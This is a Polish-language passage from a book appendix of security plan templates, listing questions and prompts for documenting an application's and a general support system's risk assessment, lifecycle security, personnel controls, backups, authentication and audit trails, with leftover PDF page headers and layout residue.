
Ogólny opis i cele 









 

Opisać funkcję lub cel aplikacji oraz przetwarzane przez nią informacje. 









 

Opisać proces przetwarzania przez aplikację od wejścia do systemu do wyjścia 
z niego. 









 

Opisać sposób organizacji uŜytkowników (wewnętrznych i zewnętrznych) 
oraz obsługiwany typ danych i przetwarzania. 

Środowisko systemu 









 

Przedstawić ogólny opis techniczny systemu. NaleŜy dołączyć opis wszystkich 
czynników środowiskowych i technicznych, które budzą pewne zastrzeŜenia 
pod względem zabezpieczeń (takie jak połączenia modemowe, otwarta sieć itp.). 









 

Opisać główną platformę komputerową oraz podstawowe komponenty 
systemu, włączając w to osprzęt, oprogramowanie oraz zasoby komunikacyjne. 









 

Dołączyć informacje o wszystkich programach chroniących system i informacje.  

Połączenia systemu i współdzielenie informacji 









 

Podać listę połączonych systemów oraz ich identyfikatory (jeśli stosowane). 









 

W przypadku połączenia z zewnętrznym systemem, który nie jest objęty 
przez plan zabezpieczeń, naleŜy krótko omówić wszystkie niezbędne kwestie 
związane z zabezpieczeniami. 









 

Przed połączeniem z innymi systemami oraz współdzieleniem wraŜliwych 
danych i informacji naleŜy uzyskać pisemną autoryzację. Opisać zasady 
zachowania, które muszą być zachowane w połączonych systemach. 
Do planu zabezpieczeń dołączyć opis tych zasad lub omówić je w tej sekcji. 

Prawo, regulacje i zasady mające wpływ na system 









 

Zamieścić listę wszystkich praw, regulacji i zasad, które ustanawiają 
konkretne wymagania wobec poufności, integralności i dostępności 
informacji i danych w systemie. 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

359 

 

359

 

Ogólny opis wraŜliwości informacji 









 

Ogólnie opisać informacje obsługiwane przez system, a takŜe konieczność 
wprowadzenia środków ochronnych. Te informacje muszą się odnosić 
do wszystkich trzech podstawowych wymagań dotyczących zabezpieczeń  
— dostępności, integralności i poufności. Dla kaŜdej z trzech kategorii 
(dostępności, integralności i poufności) wskazać, czy wymagania pod 
względem zabezpieczeń są wysokie, średnie lub niskie. 









 

Dołączyć oszacowanie ryzyka oraz wielkości szkód spowodowanych 
przez utratę, niewłaściwe uŜycie, nieautoryzowany dostęp lub modyfikację 
informacji w systemie. 

Kontrola kierownicza 

Ocena i zarządzanie ryzykiem 









 

Opisać metodologię oceny poziomu ryzyka, jaka została uŜyta do identyfikacji 
zagroŜeń i słabych stron systemu. Dołączyć datę wykonania oceny ryzyka 
systemu. Jeśli dla danego systemu nie wykonano oceny ryzyka, naleŜy 
dołączyć datę (miesiąc i rok) przewidywanego wykonania takiej analizy.  

Przegląśrodków kontroli zabezpieczeń 









 

Wymienić wszystkie niezaleŜne przeglądy zabezpieczeń systemu, jakie 
zostały wykonane w ciągu ostatnich trzech lat. 









 

Dołączyć informacje o typie wykonywanej oceny zabezpieczeń i osobie, 
która ją przeprowadzała, a takŜe przedstawić cel badania, jego wyniki 
oraz działania, które zostały podjęte dzięki badaniu. 

Zasady zachowania 









 

Dla kaŜdego systemu naleŜy utworzyć pisemny zestaw zasad zachowania. 
Zasady zachowania powinny być udostępnione wszystkim uŜytkownikom, 
zanim uzyskają dostęp do systemu. Zaleca się, aby zasady zawierały stronę 
z podpisami, na której uŜytkownik musi potwierdzić odbiór zasad. 









 

Jasno zdefiniować odpowiedzialność i oczekiwania względem wszystkich 
osób, które uzyskują dostęp do systemu. W zasadach naleŜy zawrzeć informacje 
o konsekwencjach niewłaściwego zachowania lub nieprzestrzegania zasad. 
Dołączyć niezbędne limity połączeń z innymi systemami. 









 

Jako załącznik umieścić zasady zachowania dla systemu, a w tej sekcji 
powinien znaleźć się numer właściwego załącznika. MoŜliwe jest takŜe 
dołączenie zasad do tej sekcji. 

Planowanie zabezpieczeń w cyklu Ŝycia 









 

Ustalić fazę (fazy) cyklu Ŝycia systemu lub jego poszczególnych części. 

background image

 
360 

Hack Wars. Tom 2. Na tropie hakerów 

360 

 









 

Opisać sposób zapewnienia bezpieczeństwa w fazie (fazach) cyklu Ŝycia, 
w której obecnie znajduje się system. 

Faza inicjacji 









 

Umieścić odnośnik do oceny wraŜliwości znajdującej się w sekcji WraŜliwość 
przechowywanych informacji

Faza rozwoju i przejęcia 









 

Czy w czasie projektowania systemu zidentyfikowano wymagania pod 
względem bezpieczeństwa? 









 

Czy przed dostarczeniem systemu stworzono odpowiednie kontrole 
zabezpieczeń wraz z powiązanymi procedurami badania i testowania? 









 

Czy dokumenty ofertowe (na przykład zapytanie ofertowe) zawierały wymagania 
pod względem zabezpieczeń oraz procedur badawczych i testowych? 









 

Czy te wymagania umoŜliwiają aktualizację zabezpieczeń w razie pojawienia 
się nowych zagroŜeń i słabych punktów oraz w przypadku wdroŜenia nowych 
technologii? 









 

Jeśli zakupiono komercyjną aplikację lub jeśli aplikacja zawiera typowe 
komercyjne programy, to czy zidentyfikowano i dołączono do specyfikacji 
przejęcia ich wymagania wobec zabezpieczeń? 

Faza implementacji 









 

Czy wykonano przegląd projektu oraz testy systemowe przed rozpoczęciem 
pracy przez system? Czy testy zostały w pełni udokumentowane? Czy system 
otrzymał niezbędne certyfikaty? 









 

Czy po zakończeniu projektowania dodano jakieś środki kontroli zabezpieczeń? 









 

Czy aplikacja przeszła badania techniczne w celu sprawdzenia, czy spełnia 
wymagania pod względem prawa, regulacji, zasad i standardów? 









 

Czy aplikacja uzyskała certyfikaty i akredytacje? Kiedy? Jeśli system nie 
uzyskał jeszcze autoryzacji, podać datę wysłania prośby o autoryzację. 

Faza działania i obsługi 

Plan zabezpieczeń dokumentuje czynności zabezpieczające wymagane w tej fazie. 

Faza usuwania 









 

W jaki sposób informacje są przenoszone do innego systemu, archiwizowane, 
usuwane lub niszczone? Omówić środki kontroli uŜywane do zapewnienia 
poufności informacji. 









 

Czy wraŜliwe dane są szyfrowane? 









 

W jaki sposób informacje są usuwane i kasowane z systemu? 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

361 

 

361

 









 

Czy informacje lub nośniki są oczyszczane, nadpisywane, 
rozmagnesowywane czy niszczone? 

Autoryzacja działania  









 

Podać datę autoryzacji, nazwisko i stanowisko menedŜera, który autoryzuje 
przetwarzanie informacji w systemie. 









 

Jeśli nie uzyskano autoryzacji, podać nazwisko i stanowisko menedŜera, 
który prosi o zgodę na działanie oraz datę tej prośby. 

Kontrola operacyjna 

Bezpieczeństwo personelu 









 

Czy wszystkie stanowiska zostały zbadane pod kątem poziomu wraŜliwości?  









 

Czy wszyscy uŜytkownicy odbyli szkolenie odpowiadające stanowisku, które 
zostało im przydzielone? 









 

Czy dostęp uŜytkowników został ograniczony do minimalnego poziomu, 
wymaganego do wykonania pracy? 









 

Czy istnieje system zamawiania, zakładania, wydawania i zamykania kont 
uŜytkowników? 









 

Czy krytyczne funkcje zostały rozdzielone między róŜne osoby (podział 
obowiązków)? 









 

Jakie mechanizmy zastosowano, aby uŜytkownicy byli odpowiedzialni 
za swoje postępowanie? Opisać te mechanizmy. 









 

Jakie są procedury przyjaznego i nieprzyjaznego zakończenia procesu? 

Ochrona fizyczna i środowiskowa 

Opisać fizyczne zabezpieczenia obszaru, na którym aplikacja wykonuje przetwarzanie 
informacji (na przykład blokady terminali, ogrodzenie wokół budynków lub terenów 
organizacji itp.). NaleŜy omówić takie czynniki, jak kontrola dostępu, bezpieczeństwo 
poŜarowe,  awaria  systemów  wsparcia,  zawalenie  budynku,  awaria  kanalizacji,  prze-
chwycenie danych oraz systemy mobilne i przenośne. 

Kontrola produkcyjna oraz kontrola wejścia i wyjścia 

Opisać środki kontroli uŜywane do oznaczania, klasyfikowania, przetwarzania, prze-
chowywania oraz usuwania informacji i nośników wejściowych i wyjściowych, a tak-
Ŝ

e procedury etykietowania i dystrybucji informacji oraz nośników. Przedstawić listę 

ś

rodków  kontroli  do  monitowania  instalacji  i  aktualizacji  oprogramowania  aplikacji. 

Zamieścić  opis  stosowanych  procedur,  które  obsługują  działanie  aplikacji.  PoniŜej 
znajduje się kilka przykładów tematów, które powinny zostać omówione. 









 

Wsparcie dla uŜytkowników: Czy istnieje komórka lub grupa ludzi zajmująca 
się pomocą uŜytkownikom, która potrafi udzielić porady lub zareagować 

background image

 
362 

Hack Wars. Tom 2. Na tropie hakerów 

362 

 

na naruszenie bezpieczeństwa w określonym terminie? Czy istnieją procedury, 
takie jak opisane poniŜej, które dokumentują sposób rozpoznawania, 
rozwiązywania i raportowania takich zdarzeń lub problemów?  









 

Procedury, dzięki którym nieautoryzowane osoby nie mogą odczytać, skopiować, 
zmienić ani ukraść wydrukowanych lub elektronicznych informacji. 









 

Procedury, dzięki którym tylko autoryzowani uŜytkownicy mogą pobrać, 
odebrać lub dostarczyć informacje wejściowe i wyjściowe oraz nośniki. 









 

Ś

ledzenie odbioru waŜnych danych wejściowych i wyjściowych. 









 

Procedury ograniczające dostęp do urządzeń wyjściowych. 









 

Procedury i środki kontroli przy transporcie lub wysyłce nośników i wydruków. 









 

Zewnętrzny lub wewnętrzny system znakowania wraŜliwości informacji. 









 

Zewnętrzny system znakowania z instrukcjami dotyczącymi sposobu 
traktowania (na przykład identyfikatory dziennika lub inwentarza, 
kontrolowany dostęp, specjalne instrukcje dotyczące przechowywania, 
daty wysłania lub zniszczenia). 









 

Kontrola śladów do celów zarządzania inwentarzem. 









 

Procedury i środki kontroli fizycznej i środowiskowej ochrony miejsca 
przechowywania nośników i biblioteki. 









 

Procedury czyszczenia nośników elektronicznych w celu ponownego uŜycia 
(na przykład nadpisanie lub rozmagnesowanie nośników elektronicznych). 









 

Procedury kontrolowanego przechowywania, obsługi i zniszczenia 
uszkodzonych nośników lub takich, które nie mogą być wyczyszczone w celu 
ponownego uŜycia. 









 

Procedury fizycznego zniszczenia wydruków, które nie są juŜ potrzebne. 

Planowanie awaryjne 

Krótko  opisać  procedury  (plan  zapasowy),  które  pozwolą  na  kontynuację  działania 
aplikacji, jeśli system obsługi IT stanie się niedostępny. Jeśli formalny plan zapasowy 
został  w  pełni  utworzony,  naleŜy  umieścić  odnośnik  do  niego.  Kopia  planu  zapaso-
wego moŜe być dołączona jako załącznik. W tej sekcji naleŜy dołączyć wymienione 
poniŜej elementy. 









 

Wszystkie umowy dotyczące obsługi archiwizacji (na przykład kontrakt 
z komercyjnym dostawcą usług). 









 

Udokumentowane procedury archiwizacji, włączając ich częstotliwość 
(codziennie, tygodniowo, miesięcznie) oraz zakres (pełna kopia awaryjna, 
kopia przyrostowa lub róŜnicowa). 









 

Miejsce przechowywania kopii zapasowych oraz liczbę utrzymywanych 
generacji kopii zapasowych. 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

363 

 

363

 









 

Czy istnieją przetestowane plany zapasowe na wypadek wystąpienia groźnego 
zdarzenia? Jak często są testowane? 









 

Czy wszyscy pracownicy zostali przeszkoleni w zakresie swoich ról 
i odpowiedzialności pod względem planów awaryjnych, ratunkowych 
i na wypadek katastrofy? 









 

Zasięg procedur archiwizacji (na przykład, co jest archiwizowane). 

Kontrola obsługi oprogramowania 









 

Czy oprogramowanie zostało napisane w firmie lub na zamówienie? 









 

Czy oprogramowanie naleŜy do organizacji? Czy oprogramowanie zostało 
otrzymane z innego biura? 









 

Czy oprogramowanie jest produktem komercyjnym, objętym prawami 
autorskimi, lub typu shareware? Czy zakupiono wystarczająco duŜo licencji 
dla wszystkich systemów, na których będzie wykorzystywana ta aplikacja? 









 

Czy istnieje formalny proces kontroli zmian dla aplikacji; a jeśli tak, 
czy wymaga on przetestowania i zatwierdzenia wszystkich zmian 
w oprogramowaniu, zanim zostanie ono wdroŜone do uŜycia? 









 

Czy dane testowe były danymi rzeczywistymi, czy spreparowanymi? 









 

Czy wszystkie zmiany w oprogramowaniu są udokumentowane? 









 

Czy wszystkie wyniki testów zostały udokumentowane? 









 

Czy zainstalowano wszystkie niezbędne poprawki? 









 

Czy zasady organizacji nie pozwalają na nielegalne uŜycie oprogramowania 
objętego prawami autorskimi lub typu shareware? 









 

Czy wykonywane są okresowe kontrole komputerów uŜytkowników pod 
względem instalacji tylko legalnych kopii programów, na które posiadana 
jest licencja? 









 

Jakie programy i procedury są wykorzystywane w celu zabezpieczenia przed 
nielegalnym uŜyciem oprogramowania? 









 

Czy istnieje zarządzanie gwarancjami na oprogramowanie w celu 
minimalizacji kosztów aktualizacji, uzyskania zwrotu kosztów lub wymiany 
wadliwych produktów? 

Kontrola waŜności i integralności danych 









 

Czy zainstalowano oprogramowanie do wykrywania i eliminacji wirusów? 
Jeśli tak, to czy istnieją procedury do aktualizacji plików podpisów wirusów, 
automatycznego lub ręcznego skanowania antywirusowego oraz usuwania 
wirusów i tworzenia raportów? 









 

Czy stosowane są przez system procedury kontrolne — na przykład sumy 
kontrolne, sumy hash i liczniki rekordów? NaleŜy dołączyć opis działań 
podjętych w celu usunięcia wszelkich niezgodności. 

background image

 
364 

Hack Wars. Tom 2. Na tropie hakerów 

364 

 









 

Czy uŜywane są narzędzia do sprawdzania i łamania haseł? 









 

Czy aplikacje korzystają z programów do weryfikacji integralności w celu 
wyszukania dowodów na manipulację danymi, błędów oraz pominięć?  









 

Czy w systemie zainstalowano narzędzia do wykrywania włamań? 









 

Czy uŜywana jest funkcja monitorowania wydajności systemu w celu analizy 
dzienników wydajności systemu w czasie rzeczywistym, wyszukiwania 
problemów z dostępnością (włączając w to aktywne ataki) oraz awarii lub 
spowolnienia pracy systemu i sieci? 









 

Czy w systemie są wykonywane testy penetracji? Jeśli tak, to jakie procedury 
są stosowane w celu zapewnienia prawidłowego wykonywania takich testów? 









 

Czy aplikacja uŜywa funkcji uwierzytelniania wiadomości w celu upewnienia 
się, czy nadawca wiadomości jest znany, a wiadomość nie została zmieniona 
w czasie transmisji?  

Dokumentacja 

Dokumentacja systemu obejmuje opisy sprzętu i programów, zasady, standardy, procedu-
ry oraz akceptacje odnoszące się do bezpieczeństwa zautomatyzowanego systemu infor-
matycznego (aplikacja oraz system obsługi, na którym jest ona wykonywana). NaleŜy tu 
takŜe dołączyć opis procedur archiwizacji oraz planu zapasowego, a takŜe opis procedur 
uŜytkownika i operatora. 









 

Przedstawić listę dokumentacji aplikacji (dokumentacja sprzętu i programów 
od producenta, wymagania funkcjonalne, plan zabezpieczeń, plan zabezpieczeń 
systemu ogólnego wsparcia, podręczniki aplikacji, dokumentacja wyników 
testów, standardowe procedury operacyjne, procedury awaryjne, plany zapasowe, 
zasady i procedury uŜytkownika, ocena ryzyka, dokumenty i oświadczenia 
o certyfikatach i akredytacji, przeglądy weryfikacyjne i inspekcje). 

Znajomość zabezpieczeń i szkolenia 









 

Opisać program świadomości aplikacji (plakaty, foldery i inne). 









 

Opisać typ i częstotliwość szkoleń w zakresie obsługi danej aplikacji i systemu 
ogólnego wsparcia, przeprowadzanych dla pracowników oraz osób 
współpracujących (seminaria, warsztaty, zajęcia w klasach, grupy 
dyskusyjne, odgrywanie ról oraz szkolenie w trakcie pracy). 









 

Opisać procedurę sprawdzania, czy pracownicy i osoby współpracujące 
przeszły niezbędne szkolenia. 

Kontrola techniczna 

Identyfikacja i uwierzytelnianie 









 

Opisać mechanizmy kontroli uwierzytelniania dla głównej aplikacji. 









 

Opisać metodę uwierzytelniania uŜytkowników (hasło, token lub cechy 
biometryczne). 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

365 

 

365

 









 

Jeśli stosowany jest system haseł, podać następujące informacje: 



 

dozwolony zestaw znaków; 



 

długość hasła (minimalna i maksymalna); 



 

okres upływu waŜności hasła oraz sposób wymuszania jego zmiany; 



 

liczba niedozwolonych generacji starych haseł; 



 

procedury zmiany hasła; 



 

procedury obsługi zagubionych haseł; 



 

procedury obsługi naruszenia systemu haseł. 









 

Wskazać częstotliwość zmiany haseł, opisać sposób wymuszenia zmiany 
hasła (na przykład przez program lub administratora systemu) oraz podać 
osobę, która zmienia hasło (uŜytkownik, system lub administrator systemu). 









 

Opisać sposób obsługi poszczególnych kont i kontroli śladów (na przykład, 
czy hasła są powiązane z identyfikatorem uŜytkownika, który jest 
przydzielony tylko dla jednej osoby) przez mechanizm kontroli dostępu. 









 

Opisać techniki własnego zabezpieczenia mechanizmu uwierzytelniania 
uŜytkownika (na przykład, czy hasła są przesyłane i przechowywane 
przy uŜyciu jednokierunkowego szyfrowania tak, Ŝe nikt, włączając w to 
administratora, nie moŜe odczytać haseł w czystym tekście; czy hasła są 
generowane automatycznie; czy hasła są porównywane ze słownikiem 
niedozwolonych haseł; czy hasła są szyfrowane w czasie przesyłania). 









 

Podać liczbę nieudanych prób dostępu, jaka moŜe wystąpić dla danego 
identyfikatora uŜytkownika lub miejsca dostępu (terminal lub port), 
a takŜe opisać działania, jakie zostaną podjęte po przekroczeniu limitu. 









 

Opisać procedurę weryfikacji, czy zostały zmienione wszystkie domyślne 
hasła administratorów, które ustawiono systemowo. 









 

Opisać procedury ograniczania skryptów dostępowych z dołączonym hasłem 
(na przykład, czy skrypty z dołączonym hasłem są zabronione lub dozwolone 
tylko dla aplikacji wsadowych). 









 

Opisać wszystkie zasady, które pozwalają na pominięcie wymagań 
dotyczących uwierzytelniania uŜytkownika, technologie „pojedynczego 
podpisu” (na przykład bezpośrednie połączenie dwóch komputerów, serwery 
uwierzytelniania, identyfikator „uŜytkownik do hosta” oraz identyfikatory 
grup uŜytkowników), a takŜe wszystkie środki kontroli naruszenia 
uwierzytelniania. 









 

Czy uŜywane są podpisy cyfrowe, czy elektroniczne? Jeśli tak, naleŜy opisać 
uŜywane standardy a takŜe procedury zarządzania kluczami — generowanie, 
dystrybucja, przechowywanie i usuwanie. 

Logiczna kontrola dostępu 









 

Omówić środki kontroli, które są stosowane do autoryzacji lub ograniczenia 
działalności uŜytkowników i personelu systemowego w ramach aplikacji. 
Opisać funkcje sprzętu lub oprogramowania, które zostały utworzone w celu 

background image

 
366 

Hack Wars. Tom 2. Na tropie hakerów 

366 

 

umoŜliwienia tylko autoryzowanego dostępu do aplikacji lub wewnątrz niej, 
do ograniczenia działań uŜytkowników tylko do autoryzowanych transakcji 
i funkcji, a takŜe do wykrywania nieautoryzowanych działań (na przykład listy 
kontroli dostępu ACL).  









 

Opisać sposób przyznawania uprawnień dostępowych. Czy przywileje są 
przydzielane w oparciu o wykonywane zadania? 









 

Opisać moŜliwość utworzenia przez aplikację listy kontroli dostępu ACL 
lub rejestru. 









 

Opisać sposób, w jaki ogranicza się uŜytkownikom aplikacji dostęp do 
systemu operacyjnego, innych aplikacji lub innych zasobów systemowych, 
które nie są wymagane podczas wykonywania przez nich swoich obowiązków. 









 

Opisać środki kontroli uŜywane do wykrywania nieautoryzowanych prób 
transakcji przez autoryzowanych lub nieautoryzowanych uŜytkowników. 
Podać wszystkie ograniczenia, które uniemoŜliwiają uŜytkownikom uzyskanie 
dostępu do systemu lub aplikacji poza normalnymi godzinami pracy 
lub w czasie weekendów. NaleŜy wymienić zastosowane ograniczenia. 









 

Wskazać, po jakim okresie braku aktywności uŜytkownika system automatycznie 
oczyszcza wyświetlany obraz, a po jakim czasie system automatycznie 
odłącza nieaktywnych uŜytkowników lub wymaga od nich ponownego 
podania unikalnego hasła w celu przyłączenia do systemu lub aplikacji. 









 

Wskazać, czy jest stosowane szyfrowanie jako część procedur kontroli 
dostępu do systemu lub aplikacji w celu uniemoŜliwienia nieautoryzowanego 
dostępu do wraŜliwych plików.  









 

Uzasadnić decyzję o uŜyciu banerów ostrzegawczych lub ich braku; dołączyć 
przykłady uŜywanych banerów. 

Kontrola dostępu publicznego 

Jeśli  osoby  z  zewnątrz  uzyskują  dostęp  do  głównej  aplikacji,  naleŜy  opisać  zastoso-
wane  dodatkowe  środki  kontroli,  uŜywane  do  zabezpieczenia  integralności  aplikacji 
oraz  zabezpieczenia  przetwarzanych  informacji.  Takie  środki  kontroli  obejmują  roz-
dzielenie informacji udostępnianych osobom z zewnątrz od oficjalnych plików orga-
nizacji. Inne środki kontroli mogą obejmować: 









 

pewną formę identyfikacji i uwierzytelniania; 









 

kontrolę dostępu w celu ograniczenia elementów, jakie uŜytkownik moŜe 
czytać, zapisywać, modyfikować lub usuwać; 









 

ś

rodki kontroli uniemoŜliwiające uŜytkownikom z zewnątrz modyfikację 

informacji w systemie; 









 

podpisy cyfrowe; 









 

płytę CD-ROM z informacjami, które mają być dystrybuowane na zewnątrz; 









 

umieszczenie w oddzielnym systemie kopii informacji do publicznego dostępu; 









 

ograniczenie osobom z zewnątrz dostępu do działających baz danych; 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

367 

 

367

 









 

weryfikację czy udostępniane na zewnątrz programy i informacje są wolne 
od wirusów; 









 

kontrolę śladów oraz poufność uŜytkowników; 









 

dostępność systemu i danych; 









 

analizę prawną. 

Śledzenie śladów 









 

Czy funkcja śledzenia śladów współpracuje z funkcją obsługi kont, dzięki 
czemu moŜna uzyskać zapis działań uŜytkownika? 









 

Czy funkcja śledzenia śladów obejmuje wystarczająco duŜo informacji, 
aby ustalić typ zdarzeń i ich sprawcę? NaleŜy tu umieścić typ zdarzenia, datę 
wystąpienia zdarzenia, identyfikator uŜytkownika powiązany ze zdarzeniem 
oraz program lub polecenie uŜyte do rozpoczęcia zdarzenia. 









 

Czy dostęp do dzienników funkcji śledzenia jest ściśle kontrolowany? 









 

Czy zapewniona jest poufność informacji funkcji śledzenia śladów, jeśli 
na przykład są zapisywane osobiste dane uŜytkowników? 









 

Jak często są przeglądane dane funkcji śledzenia śladów? Czy istnieją zasady 
takiego przeglądu? 









 

Czy właściwy administrator na poziomie systemu lub aplikacji przegląda 
dane funkcji śledzenia śladów, badając znany problem systemu albo aplikacji, 
znany przypadek naruszenia istniejących wymagań przez uŜytkownika 
lub niewyjaśniony problem związany z systemem lub uŜytkownikiem? 

Plan zabezpieczeń systemu ogólnego wsparcia 

Identyfikacja systemu 

Data. 

Nazwa systemu 

Unikalny identyfikator i nazwa przyznana dla systemu. 

Odpowiedzialna organizacja 

Organizacja odpowiedzialna za system. 

Informacje kontaktowe 

Nazwisko osoby znającej system lub właściciela systemu: 









 

nazwisko, 









 

stanowisko, 

background image

 
368 

Hack Wars. Tom 2. Na tropie hakerów 

368 

 









 

adres, 









 

telefon, 









 

adres e-mail. 

Przydział odpowiedzialności za zabezpieczenia 

Nazwisko osoby odpowiedzialnej za bezpieczeństwo systemu: 









 

nazwisko, 









 

stanowisko, 









 

adres, 









 

telefon, 









 

adres e-mail. 

Status operacyjny systemu 

Jeśli  wybrano  więcej  niŜ  jeden  status,  naleŜy  podać  części  systemu,  jakie  obejmuje 
dany status: 









 

operacyjny; 









 

w konstrukcji; 









 

przechodzi powaŜną modyfikację. 

Ogólny opis i cele 









 

Opisać funkcję lub cel systemu oraz przetwarzane przez niego informacje. 









 

Opisać proces przetwarzania przez aplikację od wejścia do systemu do wyjścia 
z niego. 









 

Opisać sposób organizacji uŜytkowników (wewnętrznych i zewnętrznych) 
oraz obsługiwany typ danych i przetwarzania. 









 

Przedstawić listę wszystkich aplikacji obsługiwanych przez system ogólnego 
wsparcia. Opisać funkcje kaŜdej aplikacji oraz przetwarzane przez nią informacje. 

Środowisko systemu 









 

Przedstawić ogólny opis techniczny systemu. NaleŜy dołączyć opis wszystkich 
czynników środowiskowych i technicznych, które budzą pewne zastrzeŜenia 
pod względem zabezpieczeń (takie jak połączenia modemowe, otwarta 
sieć itp.). 









 

Opisać główną platformę komputerową oraz podstawowe komponenty 
systemu, włączając w to osprzęt, oprogramowanie oraz zasoby komunikacyjne. 









 

Dołączyć informacje o wszystkich programach chroniących system 
i informacje.  

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

369 

 

369

 

Połączenia systemu i współdzielenie informacji 









 

Podać listę połączonych systemów oraz ich identyfikatory (jeśli stosowane). 









 

W przypadku połączenia z zewnętrznym systemem, który nie jest objęty 
planem zabezpieczeń, naleŜy krótko omówić wszystkie niezbędne kwestie 
związane z zabezpieczeniami. 









 

Przed połączeniem z innymi systemami oraz współdzieleniem wraŜliwych 
danych i informacji naleŜy uzyskać pisemną autoryzację. Opisać zasady 
zachowania, które muszą być zachowane przez połączone systemy. 
Do planu zabezpieczeń dołączyć opis tych zasad lub omówić je w tej sekcji. 

Prawo, regulacje i zasady mające wpływ na system 









 

Zamieścić listę wszystkich praw, regulacji i zasad, które ustanawiają konkretne 
wymagania dotyczące poufności, integralności oraz dostępności informacji 
i danych w systemie. 

Ogólny opis wraŜliwości informacji 









 

Ogólnie opisać informacje obsługiwane przez system, a takŜe konieczność 
wprowadzenia środków ochronnych. Te informacje muszą się odnosić 
do wszystkich trzech podstawowych wymagań w zakresie zabezpieczeń  
— dostępności, integralności i poufności. Dla kaŜdej z trzech kategorii 
(dostępności, integralności i poufności) wskazać, czy wymagania 
pod względem zabezpieczeń są wysokie, średnie lub niskie. 









 

Dołączyć oszacowanie ryzyka oraz wielkości szkód spowodowanych 
przez utratę, niewłaściwe uŜycie, nieautoryzowany dostęp lub modyfikację 
informacji w systemie. 

Kontrola kierownicza 

Ocena i zarządzanie ryzykiem 









 

Opisać metodologię oceny poziomu ryzyka, jaka została uŜyta do identyfikacji 
zagroŜeń i słabych stron systemu. Dołączyć datę wykonania oceny ryzyka 
systemu. Jeśli dla danego systemu nie wykonano oceny ryzyka, naleŜy 
dołączyć datę (miesiąc i rok) przewidywanego wykonania takiej analizy.  

Przegląśrodków kontroli zabezpieczeń 









 

Wymienić wszystkie niezaleŜne przeglądy zabezpieczeń systemu, jakie 
zostały wykonane w ciągu ostatnich trzech lat. 









 

Dołączyć informacje o typie wykonywanej oceny zabezpieczeń i osobie, 
która ją przeprowadzała, a takŜe przedstawić cel badania, jego wyniki 
oraz działania, które zostały podjęte dzięki badaniu. 

background image

 
370 

Hack Wars. Tom 2. Na tropie hakerów 

370 

 

Zasady zachowania 









 

Dla kaŜdego systemu naleŜy utworzyć pisemny zestaw zasad zachowania. 
Zasady zachowania powinny być udostępnione wszystkim uŜytkownikom, 
zanim uzyskają oni dostęp do systemu. Zaleca się, aby zasady zawierały 
stronę z podpisami, na której uŜytkownik musi potwierdzić odbiór zasad. 









 

Jasno zdefiniować odpowiedzialność i oczekiwane zachowanie wszystkich 
osób, które uzyskują dostęp do systemu. W zasadach naleŜy zawrzeć 
informacje o konsekwencjach niewłaściwego zachowania lub nieprzestrzegania 
zasad. Dołączyć niezbędne limity połączeń z innymi systemami. 









 

Jako załącznik umieścić zasady zachowania dla systemu, a w tej sekcji 
powinien znaleźć się numer właściwego załącznika. MoŜliwe jest takŜe 
dołączenie zasad do tej sekcji. 

Planowanie zabezpieczeń w cyklu Ŝycia 









 

Ustalić fazę (fazy) cyklu Ŝycia systemu lub jego poszczególnych części. 









 

Opisać sposób zapewnienia bezpieczeństwa w fazie (fazach) cyklu Ŝycia, 
w której obecnie znajduje się system. 

Faza inicjacji 









 

Umieścić odnośnik do oceny wraŜliwości znajdującej się w sekcji WraŜliwość 
przechowywanych informacji

Faza rozwoju i przejęcia 









 

Czy w czasie projektowania systemu zidentyfikowano wymagania dotyczące 
bezpieczeństwa? 









 

Czy przed dostarczeniem systemu utworzono odpowiednie kontrole 
zabezpieczeń wraz z powiązanymi procedurami badania i testowania? 









 

Czy dokumenty ofertowe (na przykład zapytanie ofertowe) zawierały 
wymagania dotyczące zabezpieczeń oraz procedur badawczych i testowych? 









 

Czy te wymagania umoŜliwiają aktualizację zabezpieczeń w razie pojawienia 
się nowych zagroŜeń i słabych punktów oraz w przypadku wdroŜenia nowych 
technologii? 









 

Jeśli zakupiono komercyjną aplikację lub aplikacja zawiera typowe komercyjne 
programy, to czy zidentyfikowano i dołączono do specyfikacji przejęcia ich 
wymagania wobec zabezpieczeń? 

Faza implementacji 









 

Czy wykonano przegląd projektu oraz testy systemowe przed rozpoczęciem 
pracy przez system? Czy testy zostały w pełni udokumentowane? Czy system 
otrzymał niezbędne certyfikaty? 









 

Czy po zakończeniu projektowania dodano jakieś środki kontroli 
zabezpieczeń? 

background image

 
Dodatek B 

 Szablony planu zabezpieczeń 

371 

 

371

 









 

Czy aplikacja przeszła badania techniczne w celu sprawdzenia, czy spełnia 
wymagania prawa, regulacji, zasad i standardów? 









 

Czy aplikacja uzyskała certyfikaty i akredytacje? Kiedy? Jeśli system nie 
uzyskał jeszcze autoryzacji, podać datę wysłania prośby o autoryzację. 

Faza działania i obsługi 

Plan zabezpieczeń dokumentuje czynności zabezpieczające wymagane w tej fazie. 

Faza usuwania 









 

W jaki sposób informacje są przenoszone do innego systemu, archiwizowane, 
usuwane lub niszczone? Omówić środki kontroli uŜywane do zapewnienia 
poufności informacji. 









 

Czy wraŜliwe dane są szyfrowane? 









 

W jaki sposób informacje są usuwane z systemu i kasowane w nim? 









 

Czy informacje lub nośniki są oczyszczane, nadpisywane, 
rozmagnesowywane czy niszczone? 

Autoryzacja działania  









 

Podać datę autoryzacji, nazwisko i stanowisko menedŜera, który autoryzuje 
przetwarzanie informacji w systemie. 









 

Jeśli nie uzyskano autoryzacji, podać nazwisko i stanowisko menedŜera, który 
prosi o zgodę na działanie oraz datę tej prośby. 

Kontrola operacyjna 

Bezpieczeństwo personelu 









 

Czy wszystkie stanowiska zostały zbadane pod kątem poziomu wraŜliwości?  









 

Czy wszyscy uŜytkownicy zostali przeszkoleni na poziomie stanowiska, które 
im przydzielono? 









 

Czy dostęp uŜytkowników został ograniczony do minimalnego poziomu, 
wymaganego do wykonania pracy? 









 

Czy istnieje system zamawiania, zakładania, wydawania i zamykania kont 
uŜytkowników? 









 

Czy krytyczne funkcje zostały rozdzielone między róŜne osoby (podział 
obowiązków)? 









 

Jakie mechanizmy zastosowano, aby uŜytkownicy byli odpowiedzialni 
za swoje postępowanie? Opisać takie mechanizmy. 









 

Jakie są procedury przyjaznego i nieprzyjaznego zakończenia procesu? 

background image

 
372 

Hack Wars. Tom 2. Na tropie hakerów 

372 

 

